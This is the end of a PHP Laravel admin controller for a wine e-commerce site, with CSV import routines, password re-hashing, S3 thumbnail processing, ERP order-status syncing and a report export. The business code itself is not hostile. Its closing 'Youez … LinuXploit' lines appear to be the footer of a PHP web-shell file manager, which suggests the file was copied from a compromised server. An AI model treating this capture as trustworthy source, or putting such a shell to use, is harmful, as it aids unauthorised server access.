		    while (($data = fgetcsv($handle, 0, ";")) !== FALSE) {

		    	$num = count($data);
			    echo "<p> $num fields in line $row: <br /></p>\n";
			    //print_r($data);
			    $row++;

				$endereco = new CadastroEndereco();
				$endereco->cadastro_id = utf8_encode($data[0]);
				$endereco->nome = 'Endereço de Cadastro';
				
				$endereco->logradouro = utf8_encode($data[2]);
				$endereco->numero = utf8_encode($data[3]);
				$endereco->complemento = utf8_encode($data[4]);
				$endereco->bairro = utf8_encode($data[5]);
				//$endereco->telefone = utf8_encode($data[8]);
				$endereco->pais_id = 1;

				if ($data[1] != '\N') {
					$endereco->cep = utf8_encode($data[1]);
				} else {
					$endereco->cep = '';
				}

				if ($data[6] != '\N') {
					$cidade = Cidade::where('nome',utf8_encode($data[6]))->first();
					if ($cidade){
						$endereco->cidade_id = $cidade->id;
						$endereco->estado_id = $cidade->estado_id;
					}
				}

		        $endereco->save();
		    }
		}

	}


	public function importarCartaoVinumday(){
		$row=0;

		if (($handle = fopen("cartoes.csv", "r")) !== FALSE) {
		    while (($data = fgetcsv($handle, 0, ";")) !== FALSE) {

		    	$num = count($data);
			    echo "<p> $num fields in line $row: <br /></p>\n";
			    //print_r($data);
			    $row++;

					    	
				$cartao = new CadastroCartao();
				$cartao->cadastro_id = utf8_encode($data[0]);
				$cartao->cartao_id = utf8_encode($data[1]);

		        $cartao->save();
		    }
		}

	}


	public function importarAdegaAberta(){
		$row=0;

		if (($handle = fopen("adegaabertateste.csv", "r")) !== FALSE) {
		    while (($data = fgetcsv($handle, 0, ";")) !== FALSE) {

		    	$num = count($data);
			    echo "<p> $num fields in line $row: <br /></p>\n";
			    //print_r($data);
			    $row++;

			    $valor = str_replace(',', '.', $data[3]);
				$dataAbertura = date_create_from_format('d/m/Y H:i', $data[0]);
											

				$adegaAberta = new Adega();
				$adegaAberta->data_abertura = $dataAbertura;
				$adegaAberta->status = 'A';
				$adegaAberta->id_cliente = $data[1];
				$adegaAberta->quantidade_pedidos = $data[4];
				$adegaAberta->quantidade_produtos = $data[2];
				$adegaAberta->valor_total = $valor;

				$adegaAberta->save();
		        
		    }
		}

	}



	public function importarPedidoVendaAjusteVinumday(){
		$row=0;

		if (($handle = fopen("pedidovendaajuste2.csv", "r")) !== FALSE) {
		    while (($data = fgetcsv($handle, 0, ";")) !== FALSE) {

		    	$num = count($data);
			    echo "<p> $num fields in line $row: <br /></p>\n";
			    //print_r($data);
			    $row++;
			    
		    	PedidoVendaHasProduto::where('id_pedido_venda', $data[0])->update(['quantidade' => $data[1], 'valor_total' => $data[3]]);
			    
		    }
		}

	}

	
	public function importarCadastroSenhaVinumday(){
		$row=0;

		if (($handle = fopen("pedidovendaajuste.csv", "r")) !== FALSE) {
		    while (($data = fgetcsv($handle, 0, ";")) !== FALSE) {

		    	$num = count($data);
			    echo "<p> $num fields in line $row: <br /></p>\n";
			    //print_r($data);
			    $row++;
			    
			    $listaUsuarios = \DB::table('sis_users')->whereRaw(("length(password) < 15"))->where('password', '<>', '')->get();

			    foreach ($listaUsuarios as $obj) {
					\DB::table('sis_users')
		            ->where('id', $obj->id)
		            ->update(['password' => bcrypt($obj->password)]);
			    }

			    
		    }
		}

	}


	public function importarAdegaFechada(){
		$row=0;
		if (($handle = fopen("adegafechada70008999.csv", "r")) !== FALSE) {
		    while (($data = fgetcsv($handle, 0, ";")) !== FALSE) {

		    	$num = count($data);
			    echo "<p> $num fields in line $row: <br /></p>\n";
			    //print_r($data);
			    $row++;

			    $valor = str_replace(',', '.', $data[5]);


				$dataAbertura = date_create_from_format('d/m/Y H:i', $data[0]);
				$dataFechamento = date_create_from_format('d/m/Y H:i', $data[1]);
											

				$adegaFechada = new Adega();
				$adegaFechada->id = $data[2];
				$adegaFechada->data_abertura = $dataAbertura;
				$adegaFechada->data_fechamento = $dataFechamento;
				$adegaFechada->status = 'F';
				$adegaFechada->id_cliente = $data[3];
				$adegaFechada->quantidade_pedidos = $data[6];
				$adegaFechada->quantidade_produtos = $data[4];
				$adegaFechada->valor_total = $valor;

				$adegaFechada->save();
		        
		    }
		}

	}



	public function importarPedidoEntregaVinumday(){

		$row=0;
		if (($handle = fopen("pedidoentregateste.csv", "r")) !== FALSE) {
		    while (($data = fgetcsv($handle, 0, ";")) !== FALSE) {

		    	$num = count($data);
			    echo "<p> $num fields in line $row: <br /></p>\n";
			    //print_r($data);
			    $row++;

   			    //$preco = str_replace(',', '.', $data[8]);
			    $valor = str_replace(',', '.', $data[4]);

			    $dataPedidoEntrega = date_create_from_format('d/m/Y H:i', $data[0]);
											

				$pedidoEntrega = new PedidoEntrega();
				$pedidoEntrega->id = utf8_encode($data[1]);
				$pedidoEntrega->data_solicitacao = $dataPedidoEntrega;
				$pedidoEntrega->id_adega = utf8_encode($data[1]);

				$cadastroEndereco = CadastroEndereco::where('cadastro_id', $data[2])->limit(1)->get();

				$pedidoEntrega->id_cadastro_endereco = $cadastroEndereco[0]->id;
				$pedidoEntrega->save();

				$novoStatus = new PedidoEntregaHasStatus(); 
		        $novoStatus->id_pedido_entrega_status = 1;
		        $novoStatus->id_pedido_entrega = $pedidoEntrega->id;
		        $novoStatus->data = date('Y-m-d H:i:s');
		        $novoStatus->notificar_cliente = 1;
		        $novoStatus->user_id = Sentinel::getUser()->id;
		        $novoStatus->observacao = 'Pedido solicitado pelo sistema';
		        $novoStatus->save();

		    }
		}

	}



	public function importarPedidoVendaVinumday(){

		$row=0;
		if (($handle = fopen("pedidovendateste.csv", "r")) !== FALSE) {
		    while (($data = fgetcsv($handle, 0, ";")) !== FALSE) {

		    	$num = count($data);
			    echo "<p> $num fields in line $row: <br /></p>\n";
			    //print_r($data);
			    $row++;

   			    $preco = str_replace(',', '.', $data[8]);
			    
			    if ($data[9] != "\N"){
				    $valor = str_replace(',', '.', $data[9]);
				}else{
					$valor = 0;
				}
				$dataPedidoVenda = date_create_from_format('d/m/Y H:i', $data[0]);
											

				$pedidoVenda = new PedidoVenda();
				$pedidoVenda->id = utf8_encode($data[1]);

				$pedidoVenda->data_fechamento = $dataPedidoVenda;
				$pedidoVenda->id_cliente = $data[3];
				$pedidoVenda->nr_ofertas = $data[7];
				$pedidoVenda->subtotal = $valor;
				$pedidoVenda->total = $valor;
				
				$pedidoVenda->nm_referencia = 'Compra realizada por ' . $data[3];
				$pedidoVenda->assunto = 'Pedido realizado através da plataforma.';

				$pedidoVenda->id_condicao_comercial = 1;

				if ($data[2] == 'entrega_solicitada_frete_gratis') {
					$pedidoVenda->id_status_pedido_venda = 7;
				} else {
					$pedidoVenda->id_status_pedido_venda = 2;
				}

				$pedidoVenda->save();

				/* Buscar os produtos da oferta $data[4] e adicionar no pedido_venda_has_produto */
				$listaProdutosOferta = OfertaHasProduto::where('id_oferta', $data[4])->get();
				foreach($listaProdutosOferta as $objProdutoOferta){
					$pvhp = new PedidoVendaHasProduto();

					$pvhp->id_pedido_venda = $pedidoVenda->id;
					$pvhp->id_produto = $objProdutoOferta->id_produto;
					$pvhp->id_oferta = $objProdutoOferta->id_oferta;
					$pvhp->quantidade = 1;
					$pvhp->valor_total = $preco;

					$pvhp->save();

				}

				$idAdega = null;
				if ($data[10] == "\N"){
				    
					$adega = Adega::where('id_cliente', $data[3])->where('status', 'A')->limit(1)->first();

					if ($adega)	$idAdega = $adega->id;

				}else{
					$idAdega = $data[10];
				}


				if ($idAdega != null) {
					$ahpv = new AdegaHasPedidoVenda();
					$ahpv->id_adega = $idAdega;
					$ahpv->id_pedido_venda = $pedidoVenda->id;

					$ahpv->save();
				}
		        
		    }
		}

	}




public function importarCadastroRedesVinumday(){
		$row=0;

		if (($handle = fopen("cadastro_redes.csv", "r")) !== FALSE) {
		    while (($data = fgetcsv($handle, 0, ";")) !== FALSE) {

		    	$num = count($data);
			    echo "<p> $num fields in line $row: <br /></p>\n";
			    //print_r($data);
			    $row++;

			    if ($data[1] != "\N"){
					$facebook = $data[1];
				}else{
					$facebook = null;
				}


				if ($data[2] != "\N"){
					$twitter = $data[2];
				}else{
					$twitter = null;
				}


			    $cadastro = Cadastro::find($data[0]);	
			    if ($cadastro){				    	
				
					$cadastro->id_facebook = $facebook;
					$cadastro->id_twitter = $twitter;

			        $cadastro->save();
			    }
		    }
		}

	}
	

	




	public function importarImagens(){

		$row = 1;
		if (($handle = fopen("Imagens.csv", "r")) !== FALSE) {
		    while (($data = fgetcsv($handle, 1000, ";")) !== FALSE) {
		    	try {
			    	$num = count($data);
				    echo "<p> $num fields in line $row: <br /></p>\n";
				    $row++;

			    	$filepath   = "uploads/produto/" . $data[3];
			    	$query = pack('H*',substr($data[1], 2));
					file_put_contents($filepath, $query);
	
		        	}catch(\Exception $e){
		        		print_r($e->getMessage());
		        	}
		    }
		    fclose($handle);
		}
		
	}


	public function lerS3(){

		$urlS3 = 'https://s3.amazonaws.com/vinumdays3/';

		//$image = $post['file'];
		//$imageFileName = time() . '.' . $image->getClientOriginalExtension();
		$s3 = \Storage::disk('s3');
		$directories = $s3->directories('/');


		foreach ($directories as $subDirectory) {
			if ($subDirectory == 'images') {
				$listaSub = $s3->directories($subDirectory);

				foreach($listaSub as $subDir) {
					$arraySubDir = explode('/', $subDir);
					$subDiretorio = end($arraySubDir);

					echo "<hr/>DIR: " . $subDiretorio . "<br/>";
					$produto = Produto::where('referencia', $subDiretorio)->first();

					if ($produto) {
						$listaArquivos = $s3->files($subDir);

						foreach ($listaArquivos as $key => $objFile) {
							

							//$arrayImagemProduto = explode('/', $objFile);
							//$imagemProduto = end($arrayImagemProduto);
							if (strpos($objFile, '_0') > -1) {

								$produto->thumbnail_principal = $urlS3 . $objFile;
								$produto->save();

							} else if (strpos($objFile, '-thumb') < 1) {
								echo "<BR>" . $objFile;

								$info = pathinfo($urlS3 . $objFile);
								$ext = $info['extension'];
								echo "ext-".$ext."-";

								$arrayImagemProduto = explode('/', $objFile);
								

								$imageMerged = GeralService::mergeImages('0'.$urlS3 . $objFile, $ext);
								
								$objFileThumb = str_replace('.'.$ext, '-thumb.'.$ext, $objFile);
								$imagemProduto = str_replace('.'.$ext, '-thumb.'.$ext, end($arrayImagemProduto));

								$pathToMergedImage = "uploads/produto/".$imagemProduto;
								imagepng($imageMerged,$pathToMergedImage);

								try{
									$storagePath = $s3->put($objFileThumb, file_get_contents($pathToMergedImage), 'public');
								}catch(\Exception $e){
									echo $e->getMessage();
								}


								DB::table('produto_imagens')->insert([
									[
										'id_produto' => $produto->id,
										'thumbnail_principal' => $urlS3 . $objFile,
										'miniatura' => $urlS3 . $objFileThumb
									]
								]);
							}
						}

					}

					
				}
			}
		};
		die();
		
		//$filePath = '/images/';
		//$s3->put($filePath, file_get_contents($image), 'public');
		//$url = \Storage::disk('s3')->url(substr($filePath,1));

		//return $url;

	}

	public function atualizarStatusPedidoView(){
		return view('admin/atualizar-status-pedido');
	}

	public function atualizarStatusPedido(Request $request){

		$post = $request->input();

		date_default_timezone_set('America/Sao_Paulo');
        
        $empresas = Empresa::all();

        foreach ($empresas as $empresa) {

            if(empty($empresa->api_key_tiny_erp)){
                continue;
            }
            
            $token = $empresa->api_key_tiny_erp;

            //$data['dataInicial'] = '07/06/2007';//date('d/m/Y'); 
	        //$data['dataFinal'] = '08/06/2018';//date('d/m/Y');

	        $url = 'https://api.tiny.com.br/api2/pedidos.pesquisa.php';
	        $content = "token=$token&sort=DESC&dataInicialOcorrencia=".date('d/m/Y',strtotime($post['data']))."&dataFinalOcorrencia=".date('d/m/Y',strtotime($post['data']))."&formato=json";
	        
	        $resultPedido = json_decode(GeralService::enviarREST($url, $content));

	        if($resultPedido->retorno->status_processamento == 2){ //Erro, sem registros
                continue;
            }

	        foreach($resultPedido->retorno->pedidos as $objPedido) {

	            $pedidoEntrega = PedidoEntrega::where('id', $objPedido->pedido->numero_ecommerce)->first();

	            if ($pedidoEntrega) {
	            	
	                $pedidoEntregaStatus = PedidoEntregaStatus::where('nome_erp', $objPedido->pedido->situacao)->first();

	                if(!$pedidoEntregaStatus){
                        $pedidoEntregaStatus = new PedidoEntregaStatus;
                        $pedidoEntregaStatus->nome     = $objPedido->pedido->situacao;
                        $pedidoEntregaStatus->cor      = 'black';
                        $pedidoEntregaStatus->nome_erp = $objPedido->pedido->situacao;
                        $pedidoEntregaStatus->notificar_cliente = 0;
                        $pedidoEntregaStatus->save();
                    }

	                if ($pedidoEntregaStatus){

	                    $pehsExistente = PedidoEntregaHasStatus::where('id_pedido_entrega', $pedidoEntrega->id)->orderBy('data', 'DESC')->first();

	                    if (($pehsExistente && $pehsExistente->id_pedido_entrega_status != $pedidoEntregaStatus->id) || (!$pehsExistente) ) {

							$pehs                           = new PedidoEntregaHasStatus();
							$pehs->data                     = date('Y-m-d H:i:s');
							$pehs->observacao               = PedidoEntregaService::getFraseObservacao($pedidoEntrega, $pedidoEntregaStatus, $pehs->data);
							$pehs->id_pedido_entrega        = $pedidoEntrega->id;
							$pehs->id_pedido_entrega_status = $pedidoEntregaStatus->id;
							$pehs->notificar_cliente        = $pedidoEntregaStatus->notificar_cliente;
							$pehs->user_id                  = Sentinel::getUser()->id;

	                        $pehs->save();

	                    }
	                }

	            }

	        }
        }

	    $data = array();

		if(isset($resultPedido->retorno->pedidos))
			$data['listaPedidos'] = $resultPedido->retorno->pedidos;
		else
			$data['listaPedidos'] = [];
	    

		return view('admin/atualizar-status-pedido',$data);

	}


	public function buscarOfertasDiscrepantes()
	{
		$ofertasDiscrepantes = GeralService::buscarOfertasEmDiscrepancia();

		return response()->json([
			'data' => $ofertasDiscrepantes,
			'status' => true
		]);
	}

	public function gerarRelatorioPedidoEntrega(Request $request)
	{
		$dataInicio = $request->query('data_inicio');
		$dataFinal = $request->query('data_final');

		$pedidos = DB::table('pedido_entrega')
		->select('cadastro.nome', 'cadastro.sobrenome', 'sis_users.email', 'pedido_entrega.id as pedido_numero', 'pedido_entrega.data_solicitacao', 'pedido_entrega_status.nome as pedido_status')
		->whereBetween('pedido_entrega.data_solicitacao', [$dataInicio, $dataFinal])
		->join('pedido_entrega_status', 'pedido_entrega_status.id', 'pedido_entrega.id_pedido_entrega_status')
		->join('adega', 'adega.id', 'pedido_entrega.id_adega')
		->join('cadastro', 'cadastro.id', 'adega.id_cliente')
		->join('sis_users', 'sis_users.id', 'cadastro.user_id')
		->whereIn('pedido_entrega_status.slug', ['pendente', 'aprovado', 'preparando-envio', 'enviado', 'pronto-para-envio', 'em-aberto', 'em-transito', 'em-rota-de-entrega'])
		->get();

		$data = [];
		$data['pedidos'] = $pedidos;

		Excel::create('Relatório Pedidos de Entrega- '.date('d-m-Y'), function($excel) use ($data) {
		    $excel->sheet('Pedidos-Entrega', function($sheet) use ($data){
		        $sheet->loadView('admin.relatorio-pedido-entrega', $data);
		    });
		})->download('xls');
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit